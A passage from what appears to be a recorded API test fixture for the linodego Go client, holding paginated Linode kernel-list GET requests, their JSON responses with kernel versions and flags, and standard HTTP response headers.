"2018-01-02T03:04:05"}, {"id": "linode/2.6.27.4-x86_64-linode3", "label": "2.6.27.4-x86_64-linode3", "version": "2.6.27", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.16.38-x86_64-linode2", "label": "2.6.16.38-x86_64-linode2", "version": "2.6.16", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-x86_64-linode1", "label": "2.6.18.8-x86_64-linode1", "version": "2.6.18", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.5.2-x86_64-linode26", "label": "3.5.2-x86_64-linode26", "version": "3.5.2", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/grub2", "label": "GRUB 2", "version": "2.06", "kvm": true, "architecture": "x86_64", "pvops": false, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/direct-disk", "label": "Direct Disk", "version": "", "kvm": true, "architecture": "x86_64", "pvops": false, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/grub-legacy", "label": "GRUB (Legacy)", "version": "2.0.0", "kvm": true, "architecture": "x86_64", "pvops": false, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/pv-grub_x86_32", "label": "pv-grub-x86_32", "version": "2.6.26", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/pv-grub_x86_64", "label": "pv-grub-x86_64", "version": "2.6.26", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": false, "built": "2018-01-02T03:04:05"}], "page": 4, "pages": 4, "results": 318}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - unknown X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/kernels method: GET response: body: '{"data": [{"id": "linode/latest-2.6-32bit", "label": "Latest 2.6 (2.6.39.1-linode34)", "version": "2.6.39", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/latest-2.6", "label": "Latest 2.6 Stable (2.6.23.17-linode44)", "version": "2.6.24", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/latest-32bit", "label": "Latest 32 bit (6.0.2-x86-linode177)", "version": "6.0.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-linode22", "label": "Latest Legacy (2.6.18.8-linode22)", "version": "2.6.18", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.0.10-x86_64-linode158", "label": "6.0.10-x86_64-linode158", "version": "6.0.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.0.10-x86-linode178", "label": "6.0.10-x86-linode178", "version": "6.0.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.0.2-x86_64-linode157", "label": "6.0.2-x86_64-linode157", "version": "6.0.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.0.2-x86-linode177", "label": "6.0.2-x86-linode177", "version": "6.0.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.19.2-x86_64-linode156", "label": "5.19.2-x86_64-linode156", "version": "5.19.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.19.2-x86-linode176", "label": "5.19.2-x86-linode176", "version": "5.19.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.18.2-x86_64-linode155", "label": "5.18.2-x86_64-linode155", "version": "5.18.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.18.2-x86-linode175", "label": "5.18.2-x86-linode175", "version": "5.18.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.17.5-x86_64-linode154", "label": "5.17.5-x86_64-linode154", "version": "5.17.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.17.5-x86-linode174", "label": "5.17.5-x86-linode174", "version": "5.17.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.16.13-x86-linode173", "label": "5.16.13-x86-linode173", "version": "5.16.13", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.16.13-x86_64-linode153", "label": "5.16.13-x86_64-linode153", "version": "5.16.13", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.16.3-x86_64-linode152", "label": "5.16.3-x86_64-linode152", "version": "5.16.3", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.16.3-x86-linode172", "label": "5.16.3-x86-linode172", "version": "5.16.3", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.15.10-x86_64-linode151", "label": "5.15.10-x86_64-linode151", "version": "5.15.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.15.10-x86-linode171", "label": "5.15.10-x86-linode171", "version": "5.15.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.17-x86_64-linode150", "label": "5.14.17-x86_64-linode150", "version": "5.14.17", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.17-x86-linode170", "label": "5.14.17-x86-linode170", "version": "5.14.17", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.15-x86_64-linode149", "label": "5.14.15-x86_64-linode149", "version": "5.14.15", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.15-x86-linode169", "label": "5.14.15-x86-linode169", "version": "5.14.15", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.14-x86_64-linode148", "label": "5.14.14-x86_64-linode148", "version": "5.14.14", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.14-x86-linode168", "label": "5.14.14-x86-linode168", "version": "5.14.14", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.2-x86_64-linode147", "label": "5.14.2-x86_64-linode147", "version": "5.14.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.2-x86-linode167", "label": "5.14.2-x86-linode167", "version": "5.14.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.13.4-x86_64-linode146", "label": "5.13.4-x86_64-linode146", "version": "5.13.4", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.13.4-x86-linode166", "label": "5.13.4-x86-linode166", "version": "5.13.4", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.12.13-x86_64-linode145", "label": "5.12.13-x86_64-linode145", "version": "5.12.13", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.12.13-x86-linode165", "label": "5.12.13-x86-linode165", "version": "5.12.13", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.12.2-x86_64-linode144", "label": "5.12.2-x86_64-linode144", "version": "5.12.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.12.2-x86-linode164", "label": "5.12.2-x86-linode164", "version": "5.12.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.11.13-x86_64-linode143", "label": "5.11.13-x86_64-linode143", "version": "5.11.13", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.11.13-x86-linode163", "label": "5.11.13-x86-linode163", "version": "5.11.13", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.11.9-x86_64-linode142", "label": "5.11.9-x86_64-linode142", "version": "5.11.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.11.9-x86-linode162", "label": "5.11.9-x86-linode162", "version": "5.11.9", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.10.13-x86_64-linode141", "label": "5.10.13-x86_64-linode141", "version": "5.10.13", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.10.13-x86-linode161", "label": "5.10.13-x86-linode161", "version": "5.10.13", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.10.2-x86_64-linode140", "label": "5.10.2-x86_64-linode140", "version": "5.10.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.10.2-x86-linode160", "label": "5.10.2-x86-linode160", "version": "5.10.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.9.6-x86_64-linode139", "label": "5.9.6-x86_64-linode139", "version": "5.9.6", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.9.6-x86-linode159", "label": "5.9.6-x86-linode159", "version": "5.9.6", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.8.10-x86-linode158", "label": "5.8.10-x86-linode158", "version": "5.8.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.8.10-x86_64-linode138", "label": "5.8.10-x86_64-linode138", "version": "5.8.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.8.3-x86_64-linode137", "label": "5.8.3-x86_64-linode137", "version": "5.8.3", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.8.3-x86-linode157", "label": "5.8.3-x86-linode157", "version": "5.8.3", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.7.6-x86-linode156", "label": "5.7.6-x86-linode156", "version": "5.7.6", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.6.14-x86-linode155", "label": "5.6.14-x86-linode155", "version": "5.6.14", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.6.1-x86-linode154", "label": "5.6.1-x86-linode154", "version": "5.6.1", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.4.10-x86-linode152", "label": "5.4.10-x86-linode152", "version": "5.4.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.3.11-x86-linode151", "label": "5.3.11-x86-linode151", "version": "5.3.11", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.3.7-x86-linode150", "label": "5.3.7-x86-linode150", "version": "5.3.7", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.2.9-x86-linode149", "label": "5.2.9-x86-linode149", "version": "5.2.9", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.17-x86-linode148", "label": "5.1.17-x86-linode148", "version": "5.1.17", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.11-x86-linode147", "label": "5.1.11-x86-linode147", "version": "5.1.11", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.5-x86-linode146", "label": "5.1.5-x86-linode146", "version": "5.1.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.120-x86-linode145", "label": "4.14.120-x86-linode145", "version": "4.14.120", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.2-x86-linode144", "label": "5.1.2-x86-linode144", "version": "5.1.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.0.8-x86-linode143", "label": "5.0.8-x86-linode143", "version": "5.0.8", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.20.4-x86-linode141", "label": "4.20.4-x86-linode141", "version": "4.20.4", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.19.8-x86-linode140", "label": "4.19.8-x86-linode140", "version": "4.19.8", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.19.5-x86-linode139", "label": "4.19.5-x86-linode139", "version": "4.19.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.18.16-x86-linode138", "label": "4.18.16-x86-linode138", "version": "4.18.16", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.18.8-x86-linode137", "label": "4.18.8-x86-linode137", "version": "4.18.8", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.18.8-x86-linode136", "label": "4.18.8-x86-linode136", "version": "4.18.8", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.17-x86-linode135", "label": "4.17.17-x86-linode135", "version": "4.17.17", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.15-x86-linode134", "label": "4.17.15-x86-linode134", "version": "4.17.15", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.14-x86-linode133", "label": "4.17.14-x86-linode133", "version": "4.17.14", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.14-x86-linode132", "label": "4.17.14-x86-linode132", "version": "4.17.14", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.12-x86-linode131", "label": "4.17.12-x86-linode131", "version": "4.17.12", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.11-x86-linode130", "label": "4.17.11-x86-linode130", "version": "4.17.11", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.8-x86-linode129", "label": "4.17.8-x86-linode129", "version": "4.17.8", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.2-x86-linode128", "label": "4.17.2-x86-linode128", "version": "4.17.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.16.11-x86-linode127", "label": "4.16.11-x86-linode127", "version": "4.16.11", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.18-x86-linode126", "label": "4.15.18-x86-linode126", "version": "4.15.18", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.13-x86-linode125", "label": "4.15.13-x86-linode125", "version": "4.15.13", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.12-x86-linode124", "label": "4.15.12-x86-linode124", "version": "4.15.12", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.10-x86-linode123", "label": "4.15.10-x86-linode123", "version": "4.15.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.8-x86-linode122", "label": "4.15.8-x86-linode122", "version": "4.15.8", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.7-x86-linode121", "label": "4.15.7-x86-linode121", "version": "4.15.7", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.19-x86-linode119", "label": "4.14.19-x86-linode119", "version": "4.14.19", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.17-x86-linode118", "label": "4.14.17-x86-linode118", "version": "4.14.17", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.80-x86-linode117", "label": "4.9.80-x86-linode117", "version": "4.9.80", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.115-x86-linode116", "label": "4.4.115-x86-linode116", "version": "4.4.115", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.113-x86-linode115", "label": "4.4.113-x86-linode115", "version": "4.4.113", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.78-x86-linode114", "label": "4.9.78-x86-linode114", "version": "4.9.78", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.14-x86-linode113", "label": "4.14.14-x86-linode113", "version": "4.14.14", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.14-x86-linode112", "label": "4.14.14-x86-linode112", "version": "4.14.14", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.64-x86-linode107", "label": "4.9.64-x86-linode107", "version": "4.9.64", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.68-x86-linode108", "label": "4.9.68-x86-linode108", "version": "4.9.68", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.12-x86-linode111", "label": "4.14.12-x86-linode111", "version": "4.14.12", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.11-x86-linode110", "label": "4.14.11-x86-linode110", "version": "4.14.11", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.56-x86-linode106", "label": "4.9.56-x86-linode106", "version": "4.9.56", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.50-x86-linode105", "label": "4.9.50-x86-linode105", "version": "4.9.50", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.36-x86-linode104", "label": "4.9.36-x86-linode104", "version": "4.9.36", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.33-x86-linode102", "label": "4.9.33-x86-linode102", "version": "4.9.33", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.15-x86-linode100", "label": "4.9.15-x86-linode100", "version": "4.9.15", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.7-x86-linode99", "label": "4.9.7-x86-linode99", "version": "4.9.7", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}], "page": 1, "pages": 4, "results": 318}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - unknown X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/kernels?page=2 method: GET response: body: '{"data": [{"id": "linode/4.9.0-x86-linode98", "label": "4.9.0-x86-linode98", "version": "4.9.0", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.6-x86-linode97", "label": "4.8.6-x86-linode97", "version": "4.8.6", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.4-x86-linode96", "label": "4.8.4-x86-linode96", "version": "4.8.4", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.3-x86-linode95", "label": "4.8.3-x86-linode95", "version": "4.8.3", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.1-x86-linode94", "label": "4.8.1-x86-linode94", "version": "4.8.1", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.7.3-x86-linode92", "label": "4.7.3-x86-linode92", "version": "4.7.3", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.7.0-x86-linode90", "label": "4.7.0-x86-linode90", "version": "4.7.0", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.6.5-x86-linode89", "label": "4.6.5-x86-linode89", "version": "4.6.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.5.5-x86-linode88", "label": "4.5.5-x86-linode88", "version": "4.5.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.5.3-x86-linode86", "label": "4.5.3-x86-linode86", "version": "4.5.3", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.5.0-x86-linode84", "label": "4.5.0-x86-linode84", "version": "4.5.0", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.4-x86-linode83", "label": "4.4.4-x86-linode83", "version": "4.4.4", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.0-x86-linode82", "label": "4.4.0-x86-linode82", "version": "4.4.0", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.1.5-x86-linode80", "label": "4.1.5-x86-linode80", "version": "4.1.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.1.5-x86-linode79", "label": "4.1.5-x86-linode79", "version": "4.1.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.1.0-x86-linode78", "label": "4.1.0-x86-linode78", "version": "4.1.0", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0.5-x86-linode77", "label": "4.0.5-x86-linode77", "version": "4.0.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0.5-x86-linode76", "label": "4.0.5-x86-linode76", "version": "4.0.5", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0.4-x86-linode75", "label": "4.0.4-x86-linode75", "version": "4.0.4", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0.2-x86-linode74", "label": "4.0.2-x86-linode74", "version": "4.0.2", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0-x86-linode73", "label": "4.0.1-x86-linode73", "version": "4.0.1", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0-x86-linode72", "label": "4.0-x86-linode72", "version": "4.0", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.19.1-x86-linode71", "label": "3.19.1-x86-linode71", "version": "3.19.1", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.18.5-x86-linode70", "label": "3.18.5-x86-linode70", "version": "3.18.5", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.18.3-x86-linode69", "label": "3.18.3-x86-linode69", "version": "3.18.3", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.18.1-x86-linode68", "label": "3.18.1-x86-linode68", "version": "3.18.1", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.16.7-x86-linode67", "label": "3.16.7-x86-linode67", "version": "3.16.7", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.16.5-x86-linode65", "label": "3.16.5-x86-linode65", "version": "3.16.5", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.15.4-x86-linode64", "label": "3.15.4-x86-linode64", "version": "3.15.4", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.15.3-x86-linode63", "label": "3.15.3-x86-linode63", "version": "3.15.3", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.15.2-x86-linode62", "label": "3.15.2-x86-linode62", "version": "3.15.2", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.14.5-x86-linode61", "label": "3.14.5-x86-linode61", "version": "3.14.5", "kvm": false, "architecture": 